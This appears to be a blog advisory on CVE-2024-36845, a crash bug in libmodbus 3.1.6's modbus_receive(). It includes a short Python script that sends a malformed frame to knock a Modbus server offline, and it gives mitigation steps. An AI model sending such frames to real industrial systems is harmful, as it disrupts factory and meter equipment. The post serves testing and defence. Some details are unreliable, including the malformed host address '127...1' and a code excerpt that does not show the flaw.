Libmodbus is a popular open-source library for industrial apps that communicate using the Modbus protocol. Used everywhere from factory machines to smart meters, stability and security are huge concerns. Recently, CVE-2024-36845 surfaced — a vulnerability that allows anyone to crash a server running libmodbus, just by sending it a well-designed message.
In this post, we’ll walk you through what CVE-2024-36845 is, why it’s dangerous, and show a simple, real exploit script you can use to test if you’re affected.
What is CVE-2024-36845?
CVE-2024-36845 is a Denial of Service (DoS) vulnerability found in the modbus_receive() function of libmodbus version 3.1.6. This bug is simple: when modbus_receive() gets a specially crafted message, it accidentally uses an invalid pointer. Depending on the system, this usually makes the program crash with a segmentation fault.
Attack vector: Any service or application (like the libmodbus unit-test-server) that uses modbus_receive() to process incoming Modbus messages is vulnerable.
Impact: An attacker on the network can crash your Modbus server at will, leading to downtime or possible loss of device control.
The vulnerability lives directly inside the code for modbus_receive(). Here’s a simplified view
int modbus_receive(modbus_t *ctx, uint8_t *req) {
// ...some code...
// Receive a message into buffer
int rc = _modbus_receive_msg(ctx, req, msg_length);
// ...some more code...
}
Under specific conditions, like a malformed or too-short Modbus message, code handling parsing will not properly validate pointer values. Later, the function tries to access or write using those pointers, causing a crash.
Please note that the root cause was confirmed by reading GitHub Issue #799 and official commit diffs.
Simple Exploit Example
The easiest way to demonstrate this bug is using the official “unit-test-server” that ships with libmodbus. Here’s a minimal Python script that sends a broken Modbus frame to the server, crashing it:
import socket
HOST = '127...1'
PORT = 1502 # unit-test-server default port
# This frame is intentionally too short and malformed for modbus_receive()
malformed_frame = b'\x00\x01\x00\x00\x00\x01\x01'
s = socket.create_connection((HOST, PORT))
s.sendall(malformed_frame)
s.close()
print("Sent malformed frame, check if server is still running.")
When you run this against a libmodbus-3.1.6 unit-test-server (or any unpatched code using modbus_receive()), you’ll find the server crashes instantly.
How Do I Fix or Defend Against CVE-2024-36845?
1. Update libmodbus: The community fixed this bug in more recent versions (see fix PR). If you can, upgrade ASAP!
Network Controls: Block untrusted IPs from talking to your Modbus servers.
3. Input Validation: If you maintain a Modbus service, validate incoming traffic before calling into libmodbus.
References
- CVE-2024-36845 NVD Entry
- libmodbus Issue #799
- Official Fix PR
Conclusion
CVE-2024-36845 shows how even mature codebases can have simple bugs with big consequences. If you run Modbus devices with libmodbus, double-check your version today—a few bytes from an attacker can bring your system to a dead stop.
Timeline
Published on: 05/31/2024 20:15:10 UTC
Last modified on: 07/03/2024 02:03:40 UTC